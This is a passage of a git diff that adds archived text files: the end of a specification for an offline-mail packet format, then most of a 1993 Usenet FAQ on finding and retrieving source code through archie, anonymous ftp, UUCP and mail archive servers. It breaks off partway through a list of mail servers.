zero-length, then it is a summary +message and the "bytes" field can be used to determine if the first few +lines of a message exist in the message file or not. This mixture can be +useful in some situations where the user wishes to download all messages +less than a certain length, and download the larger messages as summaries, +so that the larger messages can be explicitly requested only if the user +really wants them. + +MINIMAL CONFORMANCE + +This section describes the minimal amount of work that a packet processor +must do to be compliant with this specification. + +Packet generators should be able to generate message areas for the 'b' +and 'u' message formats for private and public message areas respectively, +and process replies for the 'b' and 'B' message formats. For minimal +conformance, index format 'n' must be supported, and if message area +summaries are required, one of index formats 'c' or 'C' should be supported. +It is recommended that either 'c' or 'C' be supported in all packet +generators, even when message summaries are not required. If message +summaries are supported, the minimal requirement is to send an index file +with the message file format set to 'i'. Packet generators should support +the "subscribe", "unsubscribe" and "list" commands, and also the "sendme" +command if message area summaries are required. + +Packet readers should be able to read all message and index formats, and +generate replies for the 'b' and 'B' message formats. If message area +summaries are not supported, all areas with message format 'i' should be +flagged to the user as not understood. Packet readers should also be +able to display the INFO and LIST files if they are present in a packet +and be able to prompt the user for "subscribe" and "unsubscribe" requests +to be sent to the packet generator. + +FUTURE ENHANCEMENTS + +The obvious enhancement that can be made is to support other message formats, +especially FidoNet formats. Currently the message area file code 'q' is +reserved for QWK-format messages. This will be defined in a future version +of this specification if demand warrants. + +Experimentation with other formats and auxillary files is encouraged, but +please contact the author first to prevent double-ups from occurring. +The author may be contacted via e-mail at rhys@cs.uq.oz.au. diff --git a/textfiles.com/internet/source12.txt b/textfiles.com/internet/source12.txt new file mode 100644 index 00000000..fc32ce61 --- /dev/null +++ b/textfiles.com/internet/source12.txt @@ -0,0 +1,981 @@ +Archive-name: finding-sources +Version: $Id: csw_faq,v 1.128 1993/10/17 21:22:22 jik Exp $ + +I. Table of contents + +This article contains the following sections. + + I. Table of contents + II. Introduction + III. How do you find sources? + IV. Things not do do + V. Searching techniques in detail + 1. Usenet source newsgroups + 2. The "archie" database + 3. The "ftpable-readmes" WAIS database + 4. Comp.archives + 5. Comp.sources.wanted + 6. Prospero + 7. Mail server queries + VI. File retrieval techniques in detail + 1. By anonymous ftp + 2. By anonymous UUCP + 3. By mail + a. Uunet mail archive + b. BITFTP + c. Ftpmail + d. AT&T's netlib archive + e. Periodic posting archives + f. Trickle mail servers + g. Other mail servers + VII. Credits + +To find a particular section, search forward for a line beginning with +the Roman numeral corresponding to the desired section. For example, +search forward for "IV." at the beginning of the line to find the +section entitled "Things not to do". Alternatively, if your news +reader supports commands to "undigestify" and/or skip to the next +section in a digest message, you can use those commands to view this +message, since it is in digest format (the section you are reading now +is the "preamble" of the digest). + +---------------------------------------------------------------------- + +II. Introduction + +This posting discusses the resources available to people who are +looking for source code. Please read it before posting source code +requests to comp.sources.wanted, alt.sources.wanted or any other +newsgroup. + +Comments about, suggestions about or corrections to this posting are +welcomed. If you would like to ask me to change this posting in some +way, the method I appreciate most is for you to actually make the +desired modifications to a copy of the posting, and then to send me +the modified posting, or a context diff between my posted version and +your modified version (if you do the latter, make sure to include in +your mail the "Version:" line from my posted version). Submitting +changes in this way makes dealing with them easier for me and helps to +avoid misunderstandings about what you are suggesting. + +DO NOT send me private E-mail asking me to help you locate source +code. Nearly everything I know about finding sources is documented in +this posting. If you can't find something by following the +instructions below, then I'm not going to be able to find it either. +Furthermore, sending me E-mail asking for help BEFORE following the +instructions below is completely out of the question. + +------------------------------ + +III. How do you find sources? + +The method you use for locating sources depends on exactly what you +are looking for. Here are several possible routes to follow; pick the +one that best suits your needs. The descriptions below mention +general techniques (e.g. "Check the Usenet source newsgroup indices.") +which are described in detail later in this posting. These +descriptions are listed in order from most preferred to least +preferred solution. You will notice that "Post in +comp.sources.wanted" is listed last. This is because posting +a message in comp.sources.wanted should only be used as a last resort +when you have exhausted all other alternatives. + +Once you have located your source code using the instructions below, +you can retrieve it via anonymous ftp or E-mail (depending on what is +accessible to you and on where the code is archived); this is +described in detail later in this posting. + +Before following *any* of the routes below, the first thing you should +do is exhaust the local resources that are available to you. Often, a +program that you are looking for will already be accessible somewhere +on your system. Since each site has different local resources, it's +impossible to give details here about the resources at any specific +site. All that can be said is, "Find someone at your site to ask." +Nearly every site has someone whose job it is to answer questions from +other users, and the sites that don't have someone doing it officially +often have someone doing it unofficially. If you cannot find what you +want after checking things out locally, or if you can't find anyone to +ask, then proceed as follows. + +1. "I know the name of the program I want, but I don't know where to + get it." + + a. Check the indices for the various main Usenet source newsgroups. + + b. Check with archie. + + c. Check comp.archives. + + d. Check the "ftpable-readmes" WAIS database. + + e. Post to comp.sources.wanted. + + f. If you are looking for an MS-DOS program, check + pd1:SIMLIST.ZIP on wsmr-simtel20.army.mil or + /pc/INDEX.ZIP on garbo.uwasa.fi, available via anonymous ftp + (see the section below about how to retrieve a file via + anonymous ftp). + +2. "I know the name of the program I want, and I know which newsgroup + it was posted in, but didn't save it when it was posted and now I + find that I need it." + + DO NOT post a message to comp.sources.wanted saying, "I didn't save + all of this when it was archived, could someone please send it to + me?" If the code was posted in a source newsgroup, then it is + archived somewhere. Follow the instructions below for retrieving + code from Usenet source newsgroup archives. + +3. "Some parts of the package in source newsgroup didn't + arrive here. Did anybody else have this problem? Could someone + send me the parts I'm missing?" + + If you did not receive part of a package, and you think that the + problem that caused you not to receive it is more widespread than + just your site, send a message to the poster of the package and let + him know that you think it may not have propagated everywhere. He + will act as a clearinghouse for problem reports and, if there are + enough of them, repost the missing parts. + + If you want to get the missing parts, asking for them in a posting + is a bad idea for two reasons. First of all, you may very well get + lots of people mailing you the missing parts, enough to swamp your + mailbox or your mail feed (You can avoid this, to some extent, by + saying, "Please write to me if you have it -- don't send me the + whole thing unless I respond and ask you to!" but you still may end + up getting many more responses than you need). Second, since you + can get the missing parts from the Usenet source newsgroup archives + using the instructions below, it is a waste of the Usenet's + resources to post a message asking for them. + +4. "I am looking for source code that does ." + + Follow the same process as (1) above, but instead of searching for + the name of the program, search for keywords in your description of + what you're looking for. For example, if you're looking for + graphical clocks that run under the X window system, you might + search for the word "clock" in the index for comp.sources.x. + +5. "I am looking for source code that does ," where is + something algorithmic or mathematical that is commonly solved with + computers. + + Check AT&T's "netlib" archive (which is accessible via E-mail as + described below, or via anonymous ftp to research.att.com {username + "netlib" instead of "anonymous"}), and if that doesn't work, + proceed as in (3) above. + + Alternatively, if you don't mind doing some typing and/or + programming, several reference books provide detailed descriptions, + pseudocode, and sometimes even code for for numerous popular (and + obscure) algorithms. Several good books to check are: + + Comer, Douglas E. and David L. Stevens. "Internetworking + with TCP/IP, Volume II: Design, Implementation, and + Internals", Prentice Hall, 1991, ISBN 0-13-472242-6. + + Foley, J. D. et al. "Computer Graphics: Principles and + Practice", Second Edition, Addison-Wesley, 1990, ISBN + 0-201-12210-7. + + Knuth, Donald E. "The Art of Computer Programming" (3 + volumes), Addison-Wesley, 1973. + + Plauger, P. J. "The Standard C Library", Prentice Hall, + 1992, ISBN 0-13-131509-9. + + Press, William H. et al. "Numerical Recipes, The Art of + Scientific Computing", Cambridge University Press, 1989, + ISBN 0-521-38330-7. (Fortran code) + + Press, William H. et al. "Numerical Recipes in C, The Art + of Scientific Computing", Cambridge University Press, 1988, + ISBN 0-521-35465-X. (C Code) + + Sedgewick, Robert. "Algorithms", Addison-Wesley, 1988. + (Pascal code) + + Sedgewick, Robert. "Algorithms in C", Addison-Wesley, + 1990, ISBN 0-201-51425-7. (C code) + + The publishers of several of these books also make available floppy + disks containing machine-readable source code. Furthermore, Turbo + Pascal Numerical Recipes code is available for anonymous ftp in + /pc/turbopas/nrpas13.zip on garbo.uwasa.fi. + +6. "I am looking for source code that does under the X window + system." + + As in (3), but after checking the Usenet source newsgroup indices + (most importantly, that of comp.sources.x), check the anonymous ftp + archive on ftp.x.org. + + See also the postings entitled "Frequently Asked Questions about X + with Answers," posted monthly in comp.windows.x and various other + X-related newsgroups. Those postings discuss in detail how to get + X sources of various sorts. If these postings have expired at your + site, see the documentation below about retrieving postings from + the periodic posting archive. + +7. "I'm looking for neat programs to run on my machine." + + Don't post questions like this. The amount of source code + available on the Usenet is incredible; you are essentially asking + for a summary of all of it. Browse through the various archives + mentioned in this posting if you want to find something like this. + +8. "I'm looking for NetNews software ." + + See the posting entitled "USENET Software: History and Sources," + posted periodically in news.admin and news.announce.newusers. If + it has expired at your site, see the documentation below about + retrieving postings from the periodic posting archive. + +9. "I'm looking for the source code for Unix." + + Most implementations of Unix contain source code that is, at least + to some extent, proprietary and not freely redistributable. If you + are looking for the source code to a particular Unix utility, you + may have better luck looking for a public-domain reimplementation + of that utility, using (1) or (3) above. Furthermore, the Free + Software Foundation (which is dedicated to the goal of making high + quality free software, including a complete Unix-compatible + software system called GNU, available for everyone) may distribute + a freely redistributable version of the utility, protected by the + GNU Public License. + + Also, if the utility was written by the folks who do the BSD + variant of Unix, then it might be available in the various BSD + source archives (the best one is probably gatekeeper.dec.com; + ftp.uu.net has a bsd-sources directory too, and it contains some + sources that are not in the gatekeeper archive, but the sources + there are for 4.3reno BSD and might be difficult to compile under + other types of Unix) on the net. + + There are two freely redistributable implementations of Unix. The + first is 386BSD, which is based on BSD Unix sources, and the second + is Linux. Both of these run on 386-class machines. For more + information about them, see the comp.unix.bsd and comp.os.linux + newsgroups, or look for 386BSD and Linux in the source archives + using the instructions above. + +10. "I'm looking for a dictionary/thesaurus/encyclopedia." + + There are few, if any, freely redistributable full dictionary or + thesaurus databases. There are, however, some freely available + word lists and/or synonym lists. One archive of such files + (including word lists in Dutch, English, French, German, Italian + and possibly others) is the anonymous ftp directory + /pub/dictionaries on ftp.cs.vu.nl. Another archive is the + anonymous ftp directory /dict on ftp.gmd.de [129.26.8.90]. + + There also appears to be a package called "thesplus" for the PC, + that may or may not contain a thesaurus database and software (I + don't know anything about it). One archive site for it is the file + /ux1/pc/exec-pc/thesplus.zip on the anonymous ftp machine + mrcnext.cso.uiuc.edu. I think this package may be shareware and + therefore not freely redistributable in the strictest sense of the + term. + + Also, Project Gutenberg has an old (but relatively good) thesaurus + available on-line. It's accessible via anonymous ftp in /pub/etext + on the machine mrcnext.cso.uiuc.edu. it's also accessible via WAIS + (ask the WAIS directory of servers for "thesaurus" in order to + locate it). + + If you've already got the database (e.g. on a NeXT machine), you + may be able to find sources for code to manipulate it; see (3) + above. + + If you really need to find a dictionary or thesaurus for on-line + use, and the ones already mentioned won't help you, then you're + probably going to have to pay somebody for it. Any + reasonably-sized software catalog for your type of computer is + probably going to mention dictionary software, and if not, then + calling the computer stores around your town should help you to + locate some. + + You are even less likely to find a freely redistributable + encyclopedia than you are to find a dictionary or thesaurus. + Encyclopedias cost a lot of money to put together, and the + companies that do so therefore tend to be very protective about + their copyrights. Although some encyclopedia publishers have made + their work available on-line on commercial services (e.g. Prodigy), + none have made them freely redistributable. If you want an + electronic encyclopedia, you're going to have to pay someone for + it (by looking in a software catalog, as mentioned above). + +------------------------------ + +IV. Things not to do + +1. Don't post messages to source newsgroups (e.g. comp.sources.unix, + comp.sources.misc, etc.) asking for sources. + + There are newsgroups specifically for source requests. If you post + a request to a moderated source newsgroup, then the moderator has + to deal with it (and he probably doesn't want to have to deal with + source requests from all over the Usenet), and if you post a + request to an unmoderated source newsgroup, then archives of that + newsgroup end up with cruft (i.e. your request) in them. + +2. Unless you have a particularly special request that is likely to be + intrinsically interesting to the readers of a "topic" newsgroup, + don't post requests in such newsgroups. Just because you're + looking for Unix software doesn't mean your request belongs on + comp.unix.questions. Just because the software you're looking for + is likely to be written in C doesn't mean your request belongs on + comp.lang.c. Source requests belong in the "wanted" newsgroups; + that's what they're there for. + +------------------------------ + +V. Searching techniques in detail + +1. Usenet source newsgroups + + There are many Usenet newsgroups in which source code is posted, + and most of them are archived. They include: + + alt.sources + comp.sources.3b1 + comp.sources.acorn + comp.sources.amiga + comp.sources.apple2 + comp.sources.atari.st + comp.sources.games + comp.sources.mac + comp.sources.misc + comp.sources.reviewed + comp.sources.sun + comp.sources.unix + comp.sources.x + vmsnet.sources + vmsnet.sources.games + + If you're looking for software for a particular machine or + operating system, you should check the source archives that are + appropriate (e.g. checking "comp.sources.mac" if you're looking for + programs to run under SunOS probably wouldn't be very profitable), + as well as the general archives such as alt.sources or + comp.sources.misc. + + Sites that archive Usenet source newsgroups usually provide some + method of getting an index of the files in each newsgroup's + archive. If you are accessing an anonymous ftp archive, then this + index will usually appear as a file called "index" or "Index" in + the top-level archive of the newsgroup, or in each volume of the + newsgroup's archive. + + If you are accessing a mail archive, then the instructions for + using that archive should explain how to get indices of the + newsgroups that are archived. + + If you are accessing an anonymous UUCP archive (see below), you are + usually told when you are given the phone number and password for + the archive how to get the top-level index for the archive, which + will tell you how to get other indices and files. + + You can use archie to find anonymous ftp archives of Usenet + newsgroups. The most well-known Usenet newsgroup archive is + probably ftp.uu.net, which archives comp.sources.3b1, + comp.sources.amiga, comp.sources.games, comp.sources.misc, + comp.sources.reviewed, comp.sources.sun, comp.sources.unix, and + comp.sources.x, among other things. Another large Usenet archive + site is wuarchive.wustl.edu (128.252.135.4), which archives + alt.sources, comp.sources.mac, and comp.sources.apple2, in addition + to most of the newsgroups archived on ftp.uu.net. A very large + European anonymous ftp site is nic.funet.fi (128.214.6.100), which + archives Usenet newsgroups and mirrors several foreign specialized + ftp servers. Other large European archive sites are mcsun.eu.net + (192.16.202.1) and ftp.inria.fr (192.93.2.54). If you are in + Europe, you should look on one of these sites for things you need + before trying sites elsewhere. + + The vmsnet newsgroups are archived on black.cerritos.edu and + acfcluster.nyu.edu. See also the posting "Monthly info posting: + vmsnet.sources archive sites" in vmsnet.sources.d and comp.os.vms; + if it has expired at your site, see the documentation below about + retrieving postings from the periodic posting archive. + +2. The "archie" database + + "Archie" is a database of anonymous ftp sites and their contents. + The software for it was written by the "Archie Group" (Peter + Deutsch, Alan Emtage, Bill Heelan, and Mike Parker) at McGill + University in Montreal, Canada, and they maintain the database as + well. + + "Archie" keeps track of the entire contents of a very large number + of anonymous ftp sites, and allows you to search for files on those + sites using various different kinds of filename searches. Archie + also has a software description database (with contents similar to + the output of the "whatis" command under Unix), on which you can do + keyword searches. + + The following machines are currently running and advertising the + archie service: + + Host name Internet address Country + ------------------- ---------------- -------------- + archie.ac.il 132.65.20.254 Israel + archie.ans.net 147.225.1.2 United States + archie.au 139.130.4.6 Australia/New Zealand + archie.doc.ic.ac.uk 146.169.11.3 United Kingdom + archie.edvz.uni-linz.ac.at 140.78.3.8 Austria + archie.funet.fi 128.214.109.110 Finland + archie.kr 128.134.1.1 Korea + archie.luth.se 130.240.18.4 Sweden + archie.mcgill.ca 132.206.2.3 Canada + archie.ncu.edu.tw 140.115.19.24 Taiwan + archie.nz 130.195.9.4 New Zealand + archie.rediris.es 130.206.1.2 Spain + archie.rutgers.edu 128.6.18.15 North America + archie.sogang.ac.kr 163.239.1.11 Korea + archie.sura.net 128.167.254.194 United States + archie.switch.ch 130.59.1.40 Switzerland + archie.th-darmstadt.de 130.83.128.118 Germany + archie.univie.ac.at 131.130.1.23 Austria + archie.unl.edu 129.93.1.14 North America + archie.wide.ad.jp 133.4.3.6 Japan + + Archie sites may soon be available elsewhere as well. + + You can access archie at most of these machines in one of three + different ways: + + 1. Telnet or rlogin to the machine with username "archie" and no + password. + + 2. Send mail to archie@machine (e.g. archie@archie.au). Send a + message with "help" in the body to find out more. + + 3. Use one of the Prospero-based archie clients. + + The site in Japan, archie.wide.ad.jp, supports only the third + method. + + The third method listed is the preferred one, because it puts less + of a load on the archie servers and is faster than the other two + methods (its one drawback is that it does not yet provide an + interface to the archie "whatis" database). If you already have + Prospero installed at your site (see below), then you can search + archie by vcd'ing to the directory /archive-sites/archie/regex and + using "vls" with the regular expression for which you want to + search. Alternatively, you can get one of the stand-alone archie + clients that does not require all of Prospero in order to run. The + clients currently available include a C version with a text + interface, a C version with an X interface, and a perl version with + a text interface. They are available for anonymous ftp in + /archie/clients or /pub/archie/clients at each of the archie sites + listed above. + + When using archie, you should connect to the site from the list + above that is closest to you, network-wise. + + If you would like more information about archie, you can write to + archie-l@cs.mcgill.ca. + + (Note to Janet/PSS users -- the United Kingdom archie site is + accessible on the Janet host doc.ic.ac.uk [000005102000]. Connect + to it and specify "archie" as the host name and "archie" as the + username.) + +3. The "ftpable-readmes" WAIS database + + Vincent Cate maintains a WAIS database of README files for various + packages on anonymous ftp sites all over the Internet. The + database is called "readmes", on port 210 of the host + alex.sp.cs.cmu.edu [128.2.209.13]. For more information, connect + to the WAIS server on that host and search for README in the "INFO" + database in order to retrieve the entire source for the + ftpable-readmes database, or retrieve it from think.com's + directory-of-servers WAIS database. + + For more information about WAIS, retrieve the file /wais/README + from the anonymous ftp server think.com. + +4. Comp.archives + + The comp.archives newsgroup, moderated by Adam J. Richter + , contains announcements of archive sites + and their contents. If you cannot find what you're looking for in + the comp.archives postings available at your site at any given + time, then you can read the newsgroup for a while and watch for new + postings that are of interest to you, or you can try to find an + archive site that archives the postings in comp.archives (e.g. + wuarchive.wustl.edu, cs.dal.ca). + + Furthermore, comp.archives is accessible via WAIS, in the database + named "comp.archives" on port 9000 on talon.ucs.orst.edu. If you + don't know what WAIS is, don't worry about it. + +5. Comp.sources.wanted + + When you post a message to comp.sources.wanted or + alt.sources.wanted, the important thing to remember is to BE + SPECIFIC. If you're working under Unix, make sure to mention that; + possibly, mention even what type of Unix. If you're not working + under Unix, make sure to mention what operating system and machine + type you *are* working under. + + Remember to choose a meaningful Subject line for your message; + something like, "Can you help me?" is very unhelpful to people who + ARE willing to help, and may just cause some of them to not bother + reading your posting. Try to summarize what you're looking for + meaningfully in your Subject line. + + Also, it is usually a good idea to ask for people to send you + E-mail rather than posting responses. Say that if enough people + write to you and ask for copies of whatever responses you get, then + you'll summarize the responses in a later posting to the newsgroup, + and if that happens, then DO post the summary. + + Finally, don't say, "Would someone please mail me ?" Say, + "Would someone please tell me where I can get , or what's + available that does ? If you can mail it to me, please let me + know, and I'll let you know if I want you to." This avoids the + problem of several people mailing you what you requested and + overflowing your mailbox. + +6. Prospero + + If you are a Unix site on the Internet, you can use the Prospero + system (whose author is Clifford Neuman) to search through archives + of various sorts all over the Internet, and to retrieve files once + you have found them. Prospero uses a virtual filesystem which + allows you to transparently view directories and retrieve files. + There is some overlap between Prospero and other resources + mentioned in this document; for example, both archie and the + periodic posting archives on rtfm.mit.edu are accessible via + Prospero. + + The Prospero software is available in /pub/prospero.tar.Z on + cs.washington.edu; the user software may already be installed at + your site, and if not, you can get it and install it yourself. For + more information about Prospero, send mail to + info-prospero@isi.edu. + +7. Mail server queries + + Anonymous ftp is most effectively used only for retrieving files + and not for searching for them, since it is a file transfer + protocol and not much more than that. However, many (if not all) + of the mail archive servers which allow file retrieval by + electronic mail provide a more functional (albeit slower) interface + than ftp which allows you to query the servers to find out what + they have available on them. Therefore, if you find it necessary + to use mail archive servers to get files, take advantage of the + indexing and search features available on the servers. The + features of individual servers can not be documented here, because + there are too many different servers running too many different + kinds of software, but the instructions below do explain how to ask + the servers for help and find out what commands they support. + +------------------------------ + +VI. File retrieval techniques in detail + +1. By anonymous ftp + + If you are on a site that is connected to the Internet and allows + its users to ftp out to other Internet sites, then you have + anonymous ftp access. The usual procedure for using anonymous ftp + is to type the command "ftp machine-name", where "machine-name" is + the name of the machine to which you want to connect, and then to + use "anonymous" as the username and "user@host" (i.e. your E-mail + address) as the password when you are prompted for it by ftp. + + Type "help" inside ftp to get a list of commands, and/or read the + man page for ftp, or any other documentation about it available at + your site for more information. If they don't answer your + question, then ask someone at your site for help. + + If you don't have Internet and ftp access, then you can use an + ftp-mail server such as Princeton's BITFTP or ftpmail to retrieve + files from anonymous ftp archives. However, you should only use an + ftp-mail server when the same files are not available from a + dedicated mail archive server. See the BITFTP and ftpmail + instructions below. + +2. By anonymous UUCP + + There are various UUCP sites on the net that publish their modem + telephone numbers and a public username and password that can be + used to transfer files from the sites via UUCP. For more + information about doing this, see the documentation for the "uucp" + command on your system. + + One place to find information about anonymous UUCP archives is the + Nixpub listing of public access Unix sites, maintained by Phil + Eschallier and posted in comp.misc and alt.bbs. If that posting + has expired at your site, you can get copies of it from the + Periodic posting archive described below. + +3. By mail + + a. Uunet mail archive + + Uunet.uu.net provides E-mail access to the sources it archives (see + the discussion about ftp.uu.net above for some idea of what is + available). The address to which to send requests is + "netlib@uunet.uu.net". You can send a message containing "help" in + its body for more information. Note, however, that this service + does not provide access to all of UUNET's archived files, so you + may have to use an ftp-by-mail service instead to get to some of + them. + + b. BITFTP + + The BITFTP server, run by Princeton University, allows people on + the BITNET to retrieve via E-mail files at anonymous ftp archive + sites. To find out how to use it, send mail to + "bitftp@pucc.bitnet" with "help" in the body. The BITFTP server + will reject requests from non-BITNET addresses, so if you're not on + the BITNET and you need to do anonymous ftp retrieval via E-mail, + you should use ftpmail (see below). + + c. Ftpmail + + Ftpmail servers allow you to retrieve via E-mail files at anonymous + ftp archive sites. Four ftpmail servers currently available are + "ftpmail@decwrl.dec.com", "ftpmail@src.doc.ic.ac.uk", + "ftpmail@cs.uow.edu.au", and "ftpmail@grasp1.univ-lyon1.fr". To + find out how to use an ftpmail server, send mail to it with "help" + in the body. If you're on the BITNET, please use the BITFTP server + (see above) rather than ftpmail. + + NOTE: Don't do something bogus like send your requests both to + BITFTP and ftpmail, or to multiple ftpmail servers, hoping that one + of them will get back to you first. Choose one server for your + request, and use it. + + d. AT&T's netlib archive + + AT&T's "netlib" archive is the repository for a large body of + source code and other material, much of it mathematical, + algorithmic or scientific in nature. + + The archive is accessible via anonymous ftp to + research.att.com, or via electronic mail. To find out how to use + the mail server, send mail to "netlib@research.att.com" with "help" + in the body of the message. + + e. Periodic posting archive + + As mentioned above, The machine rtfm.mit.edu (18.70.0.209) + maintains an archive of periodic Usenet postings. You can access + it via anonymous ftp, or via mail server. To find out how to use + the mail server, send a message to "mail-server@rtfm.mit.edu" with + Subject "help". + + The archive on rtfm is also accessible via WAIS. If you don't know + what that is, don't worry about it; if you do know what it is, you + can search through periodic Usenet postings by connecting to the + "usenet" WAIS database on rtfm.mit.edu. + + f. Trickle mail servers + + A BITnet mail server package called "Trickle" is supported at a + number of different BITnet sites all over the world: + + Austria: trickle@awiwuw11.bitnet + Denmark: trickle@dktc11.bitnet + Belgium: trickle@banufs11.bitnet + France: trickle@frmop11.bitnet + Germany: trickle@dtuzdv1.bitnet + Italy: trickle@imipoli.bitnet + Netherlands: trickle@hearn.bitnet + Spain: trickle@eb0ub011.bitnet + Turkey: trickle@trearn.bitnet + Israel: trickle@taunivm.bitnet + + These archives contain files of all sorts from a number of + different major anonymous ftp archive sites, including + wsmr-simtel20.army.mil, ftp.uu.net, ftp.x.org and sauna.hut.fi. + They are a good way for people on the BITnet to get access to + archives. + + To find out how to use Trickle send a mail message to the Trickle + server closest to you with "/HELP" in the body of the message and + an empty Subject: line. + + g. Other mail servers + + There are other mail servers besides the ones listed above. If you + want to find out more about a server, send a message to it with + "help" in the body and see what it sends back. + + The following is a list of some of the available services. Others + are listed in Scott Yanoff's "Updated Internet Services list" + posting, which appears regularly in alt.internet.services, + comp.misc, biz.comp.services, alt.bbs.internet, and news.answers. + + alt-sources-serv@dmc.com Alt.sources + archive-server@ames.arc.nasa.gov + Space archives (also accessible via + anonymous ftp to ames.arc.nasa.gov) + archive-server@athena-dist.mit.edu + MIT Project Athena papers and source + code (also accessible via anonymous + ftp to athena-dist.mit.edu) + archive-server@bcm.tmc.edu UUCP maps, source-code for BCM WHOIS + database, NFS and PC-NFS information + and source-code, Unisys U-series + information and source code, other + stuff + archive-server@cc.purdue.edu NeXT stuff (also accessible via + anonymous ftp to sonta.cc.purdue.edu + or nova.cc.purdue.edu) + archive-server@chsun1.uchicago.edu + Computer Underground Digest and + references + archive-server@cs.leidenuniv.nl + IPX, "patch" for MS-DOS, "sps" diffs + for SunOS 4.1 + archive-server@dsi.com Datacomp Systems, Inc. Elm and + Elm-related stuff + archive-server@eclectic.com Mac-security digest, information about + Eclectic, other stuff + archive-server@germany.eu.net + Archives of MS-DOS, Amiga, and Apple + newsgroups, Internet RFCs, other stuff + archive-server@ics.uci.edu TeX, GNU, MH, other stuff + archive-server@joshua.atherton.com + Archives of Atherton Technology + mailing lists and other files; Sun RPC + sources and files; other sources and + files + archive-server@ncsa.uiuc.edu NCSA stuff, especially telnet and tcp + for mac/pc + archive-server@rice.edu Sun-spots, sun-source and sun-icons, + plus other software written or + influenced by people at Rice (also + accessible via anonymous ftp to + titan.rice.edu) + archive-server@st.cs.uiuc.edu + Ralph Johnson's UIUC smalltalk archive + (also accessible via anonymous ftp to + st.cs.uiuc.edu) + archive-server@sun.soe.clarkson.edu + IBM and other good stuff (also + accessible via anonymous ftp to + sun.soe.clarkson.edu) + archive-server@wdl1.wdl.loral.com + WDL archive server: snfs, tsig stuff + clinton-wins@mail.cinton-gore.org + Information about the Clinton-Gore + presidential campaign + comp-binaries-mac-serv@dmc.com + Comp.binaries.mac + comp-sources-misc-serv@dmc.com + Comp.sources.misc + comp-sources-reviewed-serv@dmc.com + Comp.sources.reviewed + comp-sources-unix-serv@dmc.com + Comp.sources.unix + comp-sources-x-serv@dmc.com Comp.sources.x + cubelib@gmuvax2.gmu.edu iPSC User's Group + doc-server@prl.dec.com Paris Research Lab (PRL) technical + reports, articles, and notes; bignum + package + fileserv@dmc.com News.answers, other general stuff + fileserv@shsu.bitnet General and VMS-specific TeX/LaTeX + sources, sty files, extensions, etc.; + mailing list archives; sources for VMS + packages of various sorts + ftp@opcom.canada.sun.com Solaris 2.0 Migration Support archives + -- programs that have been ported to + Solaris 2.0, and utilities for making + the migration to 2.0 easier + ftp-mailer@ftp.informatik.tu-muenchen.de + comp.sources.x, comp.sources.unix, + comp.sources.misc, comp.sources.sun, + comp.sources.games, + comp.sources.atart.st, + comp.binaries.ibm.pc, alt.sources + archives, eunet.sources, and + sub.sources archives, GNU, selected + BSD, minix, selected X.V11R4 and + X.V11R3, X.V11R5, comm tools (ie. + kermit), various documents (ie. the + Internet worm, rfcs, mach), TeX, and + various other sources (also accessible + via anonymous ftp) + gene-server@bchs.uh.edu Genbank gene database server + goodies-lib@cs.man.ac.uk Manchester smalltalk goodies archive + graf-bib-server@decwrl.dec.com + Graphix bibliography server; put + keywords in mail Subject (also + accessible via anonymous ftp to + gatekeeper.dec.com) + info-server@doc.ic.ac.uk Usenet source newsgroups, GNU, X11, + news software, other stuff + info-server@Germany.EU.net Lots of stuff, including GNU software, + benchmarks, games, graphics utilities, + etc. (also accessible via anonymous + ftp) + info-server@hp4nl.nluug.nl Macintosh, Sun, IBM-PC, Unix sources, + some documents, GNU, graphics, Usenet + archives (or lots of newsgroups), X + window system, TeX, programming + languages (lisp, icon, abc, others), + news sources, network sources, other + stuff + info-server@sh.cs.net Internet community calendar, E-mail + ftp server (currently unavailable), + CSNET general information documents, + CREN information, NSFNET information, + Some Internet RFCs, a small amount of + source code + librarian@cse.ucsc.edu UCSC Technical Reports, Amoeba papers, + UCSC bibliography archive, IEEE TCOS, + other stuff (also accessible via + anonymous ftp to ftp.cse.ucsc.edu) + library@cme.nist.gov Manufacturing Engineering Laboratory + (MEL) at the National Institute of + Standards and Technology (NIST) + archive + lido@cs.uni-sb.de AI bibliographical server; put + "lidosearch help" in mail Subject + listserv@dhdurz1.bitnet + listserv@orion.bitnet Erotica + listserv@ubvm.bitnet Russian TeX + listserv@ubvm.cc.buffalo.edu Same as listserv@ubvm.bitnet + listserv@vm1.nodak.edu Lots of stuff from simtel-20; put "get + pdget help" in mail body + mail-server@cs.ruu.nl GIFs, Atari ST software, random + documentation, ELM sources, Usenet FAQ + postings, GNU software, HP-UX + software, NN sources, SGI software, + TeX software and TeXhax and TeXmag + archives, random UNIX software, X11 + software, other stuff (also accessible + via anonymous ftp to ftp.cs.ruu.nl) + mail-server@nluug.nl Mostly UNIX-related files, from the + Netherlands UNIX Users' Group + mail-server@rusmv1.rus.uni-stuttgart.de + German TeX archives; benchmarks, + journal indices, RFCs, network info, + unix info; X, mac, pc, sun, aix, vax, + and other software (also accessible + via anonymous ftp to + rusmv1.rus.uni-stuttgart.de) + mailserv@garbo.uwasa.fi PC software archives, frequently asked + questions in various areas, some + Usenet source archives + netlib@draci.cs.uow.edu.au Australian Netlib (also accessible via + anonymous ftp to draci.cs.uow.edu.au) + netlib@mthvax.cs.miami.edu Various sources, digests and other + miscellaneous stuff (also accessible + via anonymous ftp to + mthvax.cs.miami.edu) + netlib@nac.no Mirror of AT&T netlib archive for use + by European (non-UK) sites + netlib@ornl.gov Similar to the AT&T netlib archive + netlib@peregrine.com Rec.puzzles-related archives + netlib@uunet.uu.net A large subset of what is available + from uunet via anonymous ftp or + anonymous uucp + netlib@ukc.ac.uk UK netlib server (mostly same contents + as AT&T's netlib) (some files also + accessible via anonymous ftp to + harrier.ukc.ac.uk {username "guest"}) + next-archive@cc.purdue.edu NeXT stuff (also accessible via + anonymous ftp to sonta.cc.purdue.edu + or nova.cc.purdue.edu) + nistlib@cmr.ncsl.nist.gov Benchmarks, GOSIP + nptserver@cme.nist.gov NIST Cals server (also accessible via + anonymous ftp to durer.cme.nist.gov) + object-archive-server@decwrl.dec.com + OFF format (?) objects + ps-file-server@adobe.COM PostScript stuff + reduce-netlib@rand.org Sources related to REDUCE (A SAM + system with emphasis on nuclear + physics) + reports@midgard.ucsc.edu Comp.os.research tech reports (also + accessible via anonymous ftp to + midgard.ucsc.edu) + request@legato.com NFS benchmarking for determining if + Legato board will help your server + search@genbank.bio.net FASTA program for nucleic acid + sequence + service@nic.ddn.mil Internet RFCs and FYIs, NIC database + registration, WHOIS database lookup + source@ureview.com Programs and files from the magazine + "Unix Review" + statlib@lib.stat.cmu.edu Lots of statistical software (also + accessible via anonymous ftp to + lib.stat.cmu.edu -- username statlib) + tech-reports@cs.columbia.edu 